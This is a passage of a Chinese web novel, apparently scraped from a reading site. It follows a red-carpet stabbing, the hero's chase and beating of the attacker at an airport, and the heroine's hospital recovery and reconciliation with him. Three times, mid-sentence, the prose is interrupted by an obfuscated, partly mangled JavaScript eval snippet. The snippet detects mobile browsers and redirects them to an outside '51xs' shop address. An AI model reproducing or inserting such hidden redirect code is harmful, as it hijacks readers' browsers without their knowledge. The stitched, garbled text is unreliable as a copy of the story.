她盯着程三好,瞪大双眼,说出了程三好不愿听到却猜出了些许的话。 “我喝了带药的果汁,全程,很清醒,但是身体却不受控,我……贱死了。”她伸长脖颈,拉长声音。 郑燕呵呵地笑起来,跪在地上,一下靠近了程三好,抓紧她的衣服,逼迫她抬头。 “我在那个房间看到了一张名单,你的好朋友名字在前面,上面打了叉,我的名字出现她的后面,什么意思?你能知道吗?”郑燕气息都吐在程三好脸上,“她才是那个要被带去包厢的人,但是!岑橙有本事啊,攀上了韩至,肯定是他动了手脚,将岑橙替换掉,我成为了那个牺牲品!” 她手上用力,将程三好推搡向一边。 “你走吧,再也不要再出现在我身边,不然,”郑燕举起一个啤酒瓶,“我见你一次砸一次!” 程三好站起身,低着头,看不清神情:“你不想报仇?” “……”郑燕一时没有说话,半晌,她嘴角勾起个苦涩的笑,“不可能。” 她转过身,背对着程三好,像是对自己说又像是对她说:“那些人都是非富即贵,个个身份都不是我们这种人能够招惹的……当然,这些都不重要了,我什么都不想管了。” 程三好抬头,看着前面的背影,张嘴还未说出来,郑燕就打断她:“走吧,我不想见你。” 程三好握紧了手,坚持说了句:“我会让你改变想法的。” 说完,她咬牙离开了房间。 — 腾达视频每年都会举办橙光大赏颁奖活动,《种地吧,秋冬篇》提名了年度最佳综艺。 张导领着种地吧嘉宾要去参加,来的人只有肖乐保,程三好以及韩小希。 赵柯下午有通告要跑抽不出身,许琪在国外。 场馆外,台口处,等着走红毯的肖乐保从得知要来参加典礼就兴奋得不行。 他穿着正儿八经的西装,头发打蜡,做了个发型。 韩小希穿着礼服,瞧着他这一身装扮,打趣:“帅哥你谁?” 肖乐保显然很受用,他作势整理整理脖子处的蝴蝶结,装腔做调:“在下肖乐保,快乐潇洒的乐,保平安的保。” “嘶~”韩小希摸着下巴,“真有文化。” 肖乐保拱手:“谢谢,谢谢。” 两人一见面,皮就痒,戏就足。 往常里,程三好会参与其中,但今天她竟然没怎么说话,这吸引了肖乐保的注意力。 他往后退一步,绕过韩小希来到程三好的身侧,直言道:“大哥,是在为自己的美貌沉沦吗?话都不说了。” 还没上场,女生穿着羽绒服,里面是一条带着亮片的抹胸白裙,裙子下摆染了圈烟熏的那种黄色中带着点红的颜色,像是蜡烛上方的一节燃烧的火苗。 她脖子细而长,上面戴着一串项链,深绿色的宝石坠在胸前面,很配裙子。 耳环是一对淡银色的太阳花设计,长发披肩,额头的碎发都编至脑后,露出一张鹅蛋脸。 她体态好,脚下穿着高跟鞋,不会有含胸的情况。 听肖乐保说话,程三好收回思绪,淡声道:“也许吧。” 她的脸色很淡,但不是那种懒洋洋的。 肖乐保一听她这语气,就知道她心情不好。 他挠了下头,难得踌躇道:“大哥,是发生了什么事吗?” 程三好摇头:“没事。” 她显然不想多说,一整个情绪非常低,连客套应付都没有。 肖乐保内心隐隐有点不对劲,还想追问,就听到主持人在欢迎他们入场了。 他闭上嘴,程三好脱下羽绒服递给旁边的唐晓丽。 几人步入红毯一端,准备进场。 举办典礼的场馆是一个体育馆,主办方招商很多,所以无论场外还是场内皆装饰得很华丽。 尽管馆外围了一圈圈铁栅栏,也有保安在守卫,但是各家来应援的粉丝还是将道路给堵得水泄不通。 他们拿着横幅,挥舞着自家应援色的旗帜,声宏势大。 正对着场馆的对面一条柏油马路边,停靠着一辆黑色的私家车。 江邱收回前方的视线,扭头冲后座的男人汇报。 “负责此次项目的总工程师叫周民,不怪我们兄弟们没察觉,也是这次事情爆发了,才发现他这个人……他是个孤儿,从小学开始,就一直被一个叫布奇的人在资助着读书。” 江邱停顿了下,继而道:“现在经查实,这个叫布奇的人压根不存在,实际上是江权清套的一层皮……也就是说,这是江权清给自己留的杀手锏,所以现在他进去了,这个周民想来是为了他才报复的。” 昨天,一座横跨大江的桥梁崩塌,造成三人死亡,五人受伤,而与政府合作,承包下这个工程项目的公司正是用心建设有限公司,它是江财集团旗下负责包揽地产建设开发最重要的一个分公司。 这座桥在一个月前就已竣工,一直到三天前才正式宣布可以通车。 事故发生时是晚上,再加上是刚新建设完毕的大桥,甚至连导航上的图标都还未全部建设完备,所以经过的车辆并不多,要不然伤亡人员绝对不止现在这个数目。 当晚,警方就前往用心建设公司大楼准备将相关涉案人员带回警局询问,然而所有团队中只有一人不在,就是周民,他提前几天就已经逃窜至国外。 好在无论是设计稿,还是用料上的偷工减料表格,这些证据清清楚楚,现在警察正在跨境追捕逃犯。 江砚坐在后座,听江邱说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149273|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,捏了下眉心。 他已经连着两天没睡觉了,再怎么年轻气壮也支不住这么来回奔波。 本以为板上钉钉的事,没想到都到了法庭上,江权清竟然还在垂死挣扎。 他说江灼的供词全是一面之词,全是漏洞,他并没有像江灼所说的那样以威胁他孩子的手段,逼迫他去开车撞江砚他所在的那辆车。 一审并不顺利,直到二审,江灼拿出了最为关键的证据,就是一份录音文件,里面将江权清和他之间的对话完完整整地录下来了。 当时江权清整个人都愣住了,已经顾不了失态,诘问他:“你为什么还留有这个文件,我明明已经让人摧毁了!” 四处躲避这些年让江灼看上去沧桑了很多,他嘴角想上扬,最终还是无力地耷拉着,说了句:“我消除的是备份文件,原件我……交给了江董。” “哈……哈哈哈,”江权清手上戴着银色的镣铐,神色癫狂,“妈的,还真是一条听话的狗啊,临到最后还是这么可笑可悲!你是不是以为你反悔了,江家人就会将你从这件事中摘除,结果!你还是要坐牢……可惜……” 他那点所谓的绅士气质都丢个干净,狠狠地垂着前面的桌子,爆声道:“你的女儿以后要一辈子背着骂名,被别人指着鼻子骂,有个杀人犯的爹!” 几名警察将激动的江权清按坐在椅子上,江灼全程低着头,一句话也没有再说。 这桩案件随着法官的锤子落下,算是迎来了它的结局。 江权清被判有期徒刑二十年,江灼被判无期徒刑。 江砚走出法院,一步没有停留。 他以为他会很痛快,结果脑子里想的是接下来悄悄回到淮市时,见到程三好,她的反应会是如何。 车内车窗都关着,江砚放下手,抬眼,能看到前面那些疯狂的粉丝脸上的激动,嘴巴在一张一合地呐喊着什么。 他感到一丝烦躁,没来由的。 想到接下来就要看到程三好了,可以触碰她了,他应该高兴才对,应该是隐隐期待着的那种兴奋才对。 江邱很少在老板脸上看到这种心神不宁的表现,他闭上嘴,没再说用心建设的事情,转而道:“周民读初中时被拍到上了一辆豪车,后座上的人从侧颜来看就是江权清,只要把他们的关系锤死,说不定此次桥梁坍塌事故的造成也有江权清的手笔,到时候他就真地再——” “叮铃铃……”手机震动,铃声同步一齐在车内响起来。 江邱见老板的电话响了,倏地停下话头,安静地待在驾驶座上。 江砚看清来电显示人,眼皮猛地跳了一下,滑动手指,听到对方说来的那句话后,隐约的不安终于变作利剑狠狠地刺向了他的心脏。 那头的人是唐晓丽,电话接通的那一秒,她带着又急又慌的哭腔嗓音就这样透过手机喇叭传入男人的耳膜。 她说:“江总,三好姐出事了!” 像是为了印证她说这句话的可信度,令人心悸的救护车的声音踩着她的尾音窜进了车内。 熙攘的人群散开,脉搏停跳一瞬。 110. 她在等你 车门打开又关上,江砚那么体面的一个人甚至顾不上自己的形象,大步流星地往场馆里走。 白色的救护车宛若一记炸弹,炸得人群哄闹不止。 好奇的粉丝冲破保安的阻拦硬生生地挤了进去,所有的人都在朝一个方向跑。 周围好多好多的人,江砚被推搡着,肩膀不停地在被人撞。 他下颌绷得很紧,一声不吭。 一直走到E3安全出口,他看到救护车停在一边,几名医生推出一个担架,床上躺着的人,身下身上都是鲜血,闭着眼睛陷入昏迷。 他还未看清,程三好就被推上了救护车后车厢。 轰隆的低声,车门紧闭,下一秒,车子扬长而去。 红蓝色的警报器闪烁着,让人听着心颤的局促音响随着车子往前,一路喧嚣着。 耳边似乎还萦绕着那揪人的警报声,江砚身侧的手握紧,力道很大,额头青筋凸起,那枚暗绿的戒指硌得人手心生疼。 他没跟上去,找到主办方的工作人员,要求对方给他看刚才事故发生时的监控。 “抱歉,先生,我们不能给你,而且第一时间也报了警,相关媒体拍摄的视频,你放心,我们也不会泄露出去。” 江砚手没松开,他人看上去并不激动:“涉案人员你们抓到了吗?” 工作人员:“当时情况危急,犯罪分子又拿着刀,我们人员根本不敢扑上去,虽然逃跑了,但我们要相信警察,他绝对会伏法。” 他们不给出任何流露视频为的就是不让事情闹大,毕竟是主办方安保措施做不到位,才会给到小人一乘之机。 江砚觉得自己很冷静,头脑也很清醒,只是在看到对方那种比起嘉宾受伤更担心自己事业会不会受影响时的轻描淡写,他不再从容。 “现在生死未卜,被救护车拉走的是我的爱人。”男人一字一句地吐露出话,目光骇人,“凶手却跑了。” 工作人员面上尴尬:“不好意思,但——” “老板!”江邱满头大汗地跑过来,气都没喘匀就接着说,“凶手从东门离开,是个穿灰色帽头衫的男人,这是馆内监控!” 工作人员还没反应过来人家是如何拿到监控的,面前的男人就已经调转脚步朝马路对面走去。 江砚大步向前走,钻进了车内。 他坐在驾驶座,点开平板看到监控内容的一瞬间,呼吸停了一秒。 红毯拍照区域,程三好抬手向侧边的镜头摆着姿势,突然,下方乌泱泱的媒体中冲上来一个男人,速度极快,大家都没反应过来,他就已经握着匕首捅进了女生的腹部。 “……”江砚握紧了平板。 画面中,一旁的肖乐保率先反应过来,想也不想就朝那个凶手扑去。 匕首被带了出来,女生踉跄着,伸手捂住自己那处源源不断冒出红色血液的伤口。 凶手立马挣脱了肖乐保的束缚,举着上面沾血的巨长匕首在空中挥舞,众人退开,他转身朝出口位置跑的一瞬间,江砚看清了他帽子下的脸——那是罗坤。 周身的血液似乎都凝固了。 江砚紧紧盯着视频,罗坤出了场馆,上了一辆车,往平阳大道上去了。 他要去飞机场。 念头产生的下一秒,警车的声响在不远处响起来。 来不及了……江砚丢了平板,启动了车子。 灰尘起了一地,一直站在车外的江邱还没看清,黑色的车尾就已经追着凶手的踪迹上了平阳大道。 他怕出事,急忙拦住一辆车坐进去。 “师傅,跟着那辆车!” 这辆车刚好是出租车,江邱钱给得很到位,司机师傅并没有拒绝。 “你已超速——注意减速——” “你已超速——注意减速——” 电子音起伏不断,江砚咬紧牙关,眼睛盯着前方。 视野中,车流往后飞快退去,远山变得模糊。 “咕噜咕噜——” 推车穿过医院走廊,黑色的车轮子碾过白色的瓷砖。 “患者已陷入休克!随时准备除颤仪——” 白色的礼服被血染红成一片,戴着蓝色口罩的医生驱散前方的人群。 “都让一让!” 人群下意识往两侧散开,感应门打开,躺在床上的程三好紧闭双眼被推入了手术室。 红色的限速牌由远及近,由大变小。 水泥铸成的围栏在眼前一闪而过,枯黄的草野映入眼帘。 驾驶座左手边变成旷野,右手边是一整片覆盖着绿色拦石网的峰峦。 江砚双手都握在方向盘上,导航的电子音断断续续地叫着:“前方两千米到达甘龙机场——注意不要超速!” 头顶的蓝色指示牌掠过,车子进入一个短程隧道。 嗡嗡嗡的声音在车内跳舞,扭动,隧道上方长排的灯光犹如一个个萤火虫在黑夜中点亮的小星。 只是几分钟,暗黄的光消失,前方视野开阔,明亮非常。 航站楼高高地耸立在迷雾中,远远地,江砚看到了罗坤的车。 他依旧戴着帽子,佝偻着背正在打开车门下车。 江砚握着方向盘一个转弯,车屁股甩了个幅度,地面起了火星子,轮胎高速转动着,摩擦地面硬生生在路边停了下来。 打开车门,长腿迈了下去。 罗坤正要从石墩子中间的缝隙中进入航站楼前的广场,肩膀突然被人一拽,紧跟着,侧脸就遭了一拳。 他比高中时期还要瘦,这一拳直接让他一瞬间产生了眩晕。 踉跄着步伐,他还未站稳,人就被拽到了旁边没有人的草坪里。 身体没有站直,他的衣领被向前提着,力道迅猛的拳头又砸了下来。 这一下,鼻梁骨险些被砸断,出于求生本能,他紧紧地握住拉自己衣领的铁腕,挣扎着抬头,看清了揍自己的男人。 “呸——”铁锈味灌满鼻腔,鼻血不停地流进嘴里,罗坤吐了一下,扬起个得意的笑,“报应!” 【你会遭报应的】 江权清也这么说过。 江砚从未找事,也不是哪个事件促成的因,但其结果却都要他承受。 脖颈青筋可怕地突出着,胸腔内压着的戾气似乎要将人吞噬。 江砚目眦欲裂:“我恨我当初怎么没打死你!” 仅存的一点理智消失殆尽,男人举起拳头疯了一般砸向罗坤。 罗坤似乎放弃了抵抗,他被按到草地上,脸上都是血,偏偏还勾起了个笑。 “真特么……爽……” 眼前都是血色,他的身体被力道带着晃动。 跟来的江邱一见这个场景,想也不想就扑上去抱住江砚,双手死死禁锢着他,强行把他往后拉。 “老板!” 江砚没有说话,在挣扎,目光一直落在前方的罗坤身上。 不知是谁报了警,这会儿警察的车辆已经出现在了远方。 江邱听到了警报声,他见自家的老板跟魔怔似的还要往前冲,大声吼道:“你醒醒!程小姐还在等你!” “老板!你要是进去了,程三好她怎么办!” 周围都是人,却没人敢靠近。 江砚像是被当头一棒锤醒一般突然泄了气,他松了劲,身侧握着的拳头上面都是血,现在还往下面流。 胸腔剧烈地起伏,肩膀上下浮动。 躺在草坪上的罗坤满脸青肿,他费力地睁开一只眼,从那细长的光影中看了江砚一眼,半晌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172858|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑衅地说了句:“继续啊。” 他的声音很轻,很低,像是力气被耗尽后拼命挤出来的话。 江邱怕江砚被他激到,急忙说:“我已经联系上了来抓捕凶手的警察,发给了他们定位,不久就到,而且,现在他这样也跑不了,老板你不要理会他。” 航站楼前发生了人员斗殴,热心观众报的警已经到了。 江砚面色冷青,跟着这些警察去到了警局。 两个地区的警察在会议室沟通,分享信息。 无论人证物证都第一时间已经获取,罗坤被送往医院治疗后,接下来等待他的就是暗无天日的监狱生涯。 虽然江砚打人情有可原,但情节严重,本来是被拘留几天的,但是江家律师强得可怕,或者说江砚的猜测没错——罗坤当时的确已经办理好了签证,他不逃跑至人迹罕至的地方,而是已经买好了最早的一班机票,准备飞往国外。 江砚当时除了心里愤怒难平,更多的就是抓住他。 要不是他跟上去,等主办方报的警到达,凶手已经逃窜至国外,就像如今都还未抓到的周民一样,到时候跨境抓捕,难度定会上升好几个度。 局势一下从殴打他人,寻衅滋事变成了帮助警方逮捕住了逃犯,最终,江砚没被拘留,不过还是写了保证书,交了罚款,人生也留档记案了一笔。 从警察局出来,男人周身衣服都或多或少沾染到了血,有罗坤的,也有他的。 血接触到空气,现在已经变得有点黑色了。 江邱递过帕子,江砚刚接过来要擦手,人中感受到一股滚烫的液体,紧接着,鼻血就滴到了他手上。 “老板!”江邱扶住差点晕倒的男人。 江砚闭着眼睛,脑子晕疼得紧,一只手捂在鼻子下,他借着江邱的支撑缓了几秒。 肾上腺素猛地下降,后背出了一层冷汗。 松懈下来,身体才像是有了直觉一般,浑身都在密密麻麻地泛着酸痛,四肢无力,脑袋疼得要爆炸。 他握紧帕子,睁开眼睛,眉头锁着,低声说:“去医院。” 江邱其实想劝他先休息,可话怎么也说不口,最终还是认命地去前面开车。 — 来到程三好所在的这家医院,江砚衣服都没换,直奔手术室前。 他从电梯里出来,红色的灯恰巧在这时熄灭,女生戴着呼吸面罩被推出来。 江砚大步走过去,靠近床边看人,问其中的一个医生:“怎么样了?” 带着车轮子的病床在往前推,江砚就跟着移动,听到主刀医生说了句:“还未脱离危险,需要在重症监护室观察几天。” 江砚停下步伐,脸上茫然,无措。 他见程三好被推入了ICU,蓝色的门砰地关上,听到旁边的医生说:“那匕首太长,捅穿了她的腰,而且那刀尖是向上的,差点捅到她的心脏,人现在是救回来了,接下来就看她能不能挺过去了。” 主刀医生是个男的,他戴着眼镜,见这个气度不凡却稍显狼狈的年轻人怔愣着站在原地,半晌,还是说了句:“送来的及时,醒过来的几率还是很大的,你可以稍微放宽点心。” 他说完就转身,离开了此处。 江砚踱步走到那扇门前,透过上面小小的窗子看向病房里的女生。 她对着门,毫无生气地躺在床上,一向有些狡黠的眼眸闭着。 呼吸面罩好大,几乎遮住了她的整张脸。 黑发披散在脑后,肤色苍白得没有血色。 手上打着根很粗的留置针,透明的液体正在胶管中流淌。 她突然变得好小一只,孤零零地躺在那里。 看着看着,胸腔一阵紧缩,鼻间忽而酸楚得不像话,江砚肩头抖动,红了眼眶。 111. 委屈 三天后,程三好转入普通病房。 这期间来看望的人很多,但她没醒,只能待几分钟就离开。 消息没有走露丝毫,现在网上没有任何照片流出,黎芳园当时在家里接到电话时,整个人都懵了。 她弄不明白智能手机,更是不知道怎么打车,只是笨拙地在家门口的大马路上拦车,希望对方载自己一程。 好不容易坐上一辆出租车,司机师傅仗着这个老人什么都不懂,恶意多绕了一圈,坑黎芳园的钱。 老太婆哪懂这些逃路,她整颗心都扑在外孙女身上。 从车上下来,她抬头看着前面这栋高高耸立的医院,捏紧了衣服。 她不识字,是天生的文盲,后天能够识别几个,都是跟着电视里学的。 医院门口来往都是人,有人离开,有人进入。 黎芳园四处找寻,找到一个类似护士装扮的医疗工作人员,问她:“那个……急诊科往哪里走。” 周围都是人,吵得不行,中间还伴随着各种广播声。 老人的普通话不标准,护士没怎么听清,不耐烦道:“什么?” 黎芳园挑着眉毛,大声道:“我说,急诊科在哪儿?” 护士皱着眉头,随意地一指右边:“那边那栋楼。” 说着人就好像特别忙地走开了。 黎芳园眨着眼睛,按照对方所说的那样往旁边的一栋楼走去。 她身上穿着棉袄,黄底蓝花的,布料很旧。 头发照常挽成一个丸子坠在脑后,脸庞衰老,皮肤皱巴巴地摊在她脸上,嘴角周围也长了皱纹。 她的眼睛却很精神,别人打眼一看,不敢跟她较劲。 黎芳园走进大厅,径直朝对面导医台的几个医生走去。 “我是程三好的外婆。”她这样说。 有名医生从电脑中抬头:“哦,刚才就是我给你打的电话,她现在已经脱离危险转入了普通病房,左手边走廊进去的第一间病房。” 黎芳园捏紧衣服口袋中的现金,问:“医药费——” “已经有人全部缴纳了,你不用担心。”医生低头,没在看这个老人。 黎芳园点头,尽管没人在乎她。 她脚上踩着一双手工钩织的高帮黑色针织棉鞋,裤子也是条加绒的大棉裤,显得整个人很臃肿。 走到病房前,她轻推开门,却见病床边坐着个年轻男人。 他原先背对着她,这会儿听着动静也没动。 黎芳园眉头皱着,快走几步,绕到窗边看向那个男人的对面。 江砚正拿着块湿毛巾在擦拭程三好的手,他神情很专注,直到前方光影暗淡,他抬起了头。 “你谁?”黎芳园语气不善。 江砚没见过程三好的外婆,但他稍微一想,就能大概猜出她的身份。 他没急着回答,而是将女生的手轻放到被褥上,拿着毛巾站起身。 “我叫江砚,是三好的男朋友。”男人离开凳子处,站到旁边。 黎芳园脸色有点怪,她一时之间不知该信还是不该信。 程三好从来没跟她聊过这件事,所以她也是现在才知道她竟然已经交上男朋友了。 她还站着,江砚就已经放下毛巾,询问:“您是三好的外婆?” 黎芳园见他声音放得轻,像是怕打扰到病床上的女生,这个小细节让她稍稍放下了戒备,说:“对……” 江砚颔首,礼貌地示意:“先坐。” 病房是单人套间,旁边有个类似待客厅的区域。 黎芳园没去沙发上坐,她目光落在病床上的外孙女身上,没有说话。 江砚见状,提着一把椅子轻放在老人身后,淡声说了句:“她没了大碍,只是还没醒,别担心。” 说着,他离开病房,留给人家两孙女相处的空间。 房门被带上,江砚却没走远。 他这几天大多时候都待在医院,办公也是随便找个椅子,一坐就是一天。 江邱买饭回来,见老板笔记本合上拿在手中,自己向后靠在椅背上,一只脚曲着,一只脚向前伸展着。 他以这个姿势半躺着,眼睛也闭上,看上去在休息。 江邱见状,犹豫着走进,还未出声,椅子上的男人就已经睁开眼睛,坐直身体,打开了笔记本电脑。 “……”江邱捏紧打包盒,半晌,还是说了句,“老板,现在程小姐脱离危险了,要不要先回去休息一下?” 江砚没接这个话题,捏了下眉心,翘着二郎腿,方便在上面打字。 他说:“我叫你查的那件事怎么样了?” 江邱没再多嘴,回答他这个问题:“有了警察的相助,查起来方便很多,周民果然联系过罗坤,那些签证什么的都是周民给他准备好的。而典礼现场罗坤之所以能够携带刀具混进去,原因也是主办方的一个工作人员被周民收买,给了他六十万,现在人也已经被警方逮捕……但周民如今仍逃亡国外。” 其实江邱在得知罗坤捅程三好的背后竟然有江家的恩怨牵扯在中时,整个人当时心都颤了一下。 他是一个外人,只是一个秘书,只是一个助理,他不应该有这样近乎是心惊,感叹命运不公的难受。 也许是江砚和程三好能走到一起真的太不容易了,更或者是他们将对方都视作唯一那种带着强烈信念的重要。 江邱甚至都不敢去看老板的神情,遑论他内心所想。 临近傍晚,窗外没有落霞,只有裹着寒风在奔跑的雨雾。 那天下午,江砚没吃饭,一个人在那待了很久。 江邱按照他的吩咐,给黎芳园在附近找了个酒店,带她去休息。 黎芳园当时不肯,江砚说:“您回去好好休息一晚,明天来看她也是一样的。” “不用,我就在这沙发上将就一晚得了。”黎芳园很执拗,主要是她不放心外孙女一个人待在这里。 “今晚我守夜,你别担心。”江砚像是能看穿她所想,“你舟车劳顿来到这里,明天以一个好的精神状态见三好,她才会放心,是吧?” 黎芳园见对方都那么说了,只能点头应允,走之前,说了句:“……谢谢。” 江砚:“应该的。” 在门边背对着病房的老人没再说什么,打开门跟江邱走了。 病房恢复安静,江砚坐在凳子上,看向床上躺着的女生。 对面是一整个落地窗,窗外是一个矩形的花坛,里面种植着小赤叶楠木,一丛一丛的,枝叶并没有泛黄,而是紫绿色的。 在远一点就是一条长街,两侧都是有些留下岁月痕迹的居民小区。 狭长的街道尽头是一片一望无际的山野,朦胧,虚幻。 冬天天色总是黑得很快,长街两侧居民的灯逐一亮起,霓虹灯牌也闪烁起来,摊贩开始营业。 江砚向前,手臂放到床上,脑袋搁在上面,侧脸看着女生。 夜深了,外面走廊很寂静。 — 翌日,熹微晨光透进病房。 就这样枕在床上睡了几个小时的江砚,在听到病房门的咔嚓声时一下清醒了过来。 他迅速站起身,腾开位置。 护士照常给程三好臂弯抽了三管血,又测量血压,一切正常。 完成这一切,她端着盘子离开病房。 江砚将女生的衣袖拉下来,握住手腕塞进被子。 他直起身,又盯着人看。 过了几分钟,他转身进了独立的卫生间,在水龙头下随意地洗了把冷水脸。 下巴还滴着水珠,侧脸轮廓特别深邃。 黑色的毛衣袖子掖到了小臂,他将白色的毛巾在温水里浸湿,揉了揉,拧干水分,才拿着毛巾出了卫生间。 卫生间就在玄关处,他一转身,抬眼,刚好看进女生的眼里。 江砚愣了一下,很快反应过来,他大步走过去,神色又是激动又是担心的,特别生动。 “醒了?”他都没意识到自己在说废话,犹自关怀问,“身体有哪里不舒服吗?” 程三好看着他,缓缓露出个笑,身体还很虚弱,所以她说话很轻:“没事……” 江砚将毛巾放到床头柜子上,只是说:“我去叫医生。” 程三好浑身没力,觉得这样睁着眼皮说话都累,她看了一眼男人离开的背影终究还是没说什么。 主治医生带着几个护士进来,他拿出把小手电筒照了照女生的瞳孔,又打开她腹部的伤口看了看恢复情况,重新上了药后,他叮嘱:“没什么大碍了,注意不要吃辛辣的食物,切忌海鲜,也不要剧烈运动。” 程三好脸色苍白,但唇上好歹有了点血色,闻言,她轻点头,神色很乖。 “这是药,一天三次,一次这么一袋,待会儿就可以吃一次。”主治医生拿过护士手中的处方药放到柜子上。 说完,他去探视其他病房的患者了。 人群簇拥着来,又一窝蜂地离开。 房间恢复冷清,变得安静。 江砚在饮水机用一次性纸杯接了一杯热水,先自己喝了一点,确认温度适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187853|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中后才端着回到病床边。 杯子放到柜子上,他附身,将床调高一点高度,方便待会儿女生吃药。 完成这些,他坐下,问:“是想吃点东西,还是不想吃?” 程三好:“不想。” “嗯,”江砚低头拆开药袋,“那就先吃药。” 他倒出药粒在掌心,抬起头,捏住一颗递到程三好嘴边。 程三好很怕吃药,她眸光躲闪,不想自己太显得懦弱,于是张嘴含住。 江砚另一只手抓住纸杯下端给她喂了点水。 药不会好吃,程三好刚醒,味觉很淡,但还是被苦得皱眉。 喂完药,程三好虚摊在床上。 她抬起眼皮去看江砚,对方坐在凳子上,将纸杯捏变形,低着头没看她,也没有说话。 自从她醒过来,江砚就一直很怪。 他不与她对视,在躲避着什么。 “江砚……” “……对不起” 后一句话是江砚说的。 他们几乎同时开口,程三好张了张嘴,还未疑惑问他为什么这么说,低头看不清神色的男人就接着道:“我以为……自己很有能力,现在才发现其实挺自满的。” 江砚克制地呼吸了一下,手指却在用力地捏紧纸杯:“如果不是我,你兴许就不会受伤了……” 程三好看着他,喊人:“江砚。” 男人没动,忽然变得很冷漠,很疏离。 “江砚……我疼……”程三好莫名委屈得不行。 男人立马抬起头看向她,担忧道:“哪里疼?我去叫医生。” 说着他就要起身,手却被拉住。 他扭头,女生与他对视,眼睛里已经起了泪水,眉毛微微蹙着,嗓音轻轻地:“我心里疼……你亲亲我好不好?” 她很委屈,本就伤了身体,整个躯体处在一个非常不舒服的阶段,所以一小点情绪都会被放大。 元气大伤,瘦了很多,肤色比白色的床单还要白,人瞧着真的很脆弱。 江砚心一下揪紧了,什么都顾不了,揣着一腔内疚心疼附身去亲人。 他只轻碰了一下女生的嘴唇,完了就要起身,后颈却被人拦住。 女生不知何时就放开了他的手,摸到了他的后颈,没什么力道,但江砚还是不敢动,因为这个姿势一扯,容易牵动女生的伤口。 他们的呼吸都喷洒在对方脸上,女生的气息很弱,基本感受不到。 程三好褪下搞笑的外壳,露出来的是一个很乖的灵魂。 她没故作轻松,也没调动气氛,真真实实地袒露出自己的现在的状态。 这样近的距离下,她的眼睛眨动的频次很高,像是在努力强撑着不闭上。 身体太没有力气了,说话也跟着绵软软的:“我想要接吻……” 这是她第一次露出这种小女生撒娇的姿态,神色中是不加掩饰的羞赧。 不过正经不到几秒,她忍不住笑道:“深吻那种……” 她一笑,周围都明亮了几分。 江砚被她的情绪带动着,低下头含住女生的嘴唇,轻咬一下又放开。 直到她的嘴唇变得水润,充血红透,他伸出舌头抵开女生的贝齿去用力地亲她。 程三好放在江砚后颈的手不自觉地抓紧,将他的衣服都给抓皱了。 她用鼻子呼吸着,闭着眼睛。 脸被人从下颌处捧着,她一点力气都不用,就可以舒服地和男人接吻。 江砚亲吻的动作很温柔,不再是那种霸道着不给她一点喘息机会,将她口腔全部占满,不留一点缝隙的那种。 他舌头含住她的嘴唇吮一下就松开,去追逐她的舌尖时也会稍微留出一点距离,不再深的恐怖。 于是程三好可以一边轻松地呼吸,一边和他接着吻。 这种亲法舒服是很舒服,时间也进行得很长,就是越亲心越痒,结束时,二人都微微喘着气。 他们头抵着头,程三好嘴唇微张,眼眸低垂,动情得很明显。 江砚给人将口水擦了,手抚摸女生的脸。 程三好将放到男人后颈的手收回,耷拉在床边,抬眼见江砚那副表情就笑:“苦吗?” “不苦。”江砚握住她的手亲了亲。 “骗人……我刚才吃了药。” “那也是甜的。” 他这话把程三好哄高兴了,只是高兴不到几秒,在瞥见他眉宇间留下的疲倦时,她也像江砚摸她脸那样摸了摸男人的。 “都长胡茬了……” 112. 看望 “很丑?”男人由着她摸,嗓音低沉。 程三好抬手向上,摸他的眼睛,打量着,说:“不……很性感。” “……” 刚恢复一点精神,女生就要开始皮了。 江砚落座,手依旧牵着人,脸上难得露出点笑,他说:“但看你表情不像是很喜欢?” 程三好歪头看着他,也笑:“怎会?江总长成啥样我都喜欢。” “当然,”她看人说话时,眼睛会很很真诚,跟她的笑一样,“我还是更喜欢在乎自己形象管理的那个江总。” 江砚煞有其事地点头:“回头我将剃须膏什么的都扔了。” 程三好露齿笑起来,她一直觉得江砚身上有种淡淡的幽默感,看似在嘴硬,但不让她觉得是在唱反调,反倒觉得这种反差让他挺有魅力的。 她正过脸,看着对面的电视机,想到什么,收敛了笑容,道:“你刚为什么那样说?” 该来的总会来,江砚移开视线,须臾,他缓慢说道:“……伤你的那人是罗坤。” 程三好:“我知道,当时就看清了。” 江砚觉得咽喉难受,瑟声道:“……他之所以能够进入场馆,是因为有人在背后帮他,而那个人就是周民——他是在为了江权清报复江家,报复我。他知道我的软肋是你,所以才会……联系到罗坤,二人谋划了这一次犯罪。” 江砚从小到大,从来没在什么事情上产生过退缩,但是看到女生毫无生气地躺在病床上时,他一阵后怕。 听江邱昨天说完那些话,他不知道要做出什么表情才好,他第一次产生了动摇的念头——他的爱已经给女生带来了危险,他真的要为了一己私欲把她留在他身边吗? 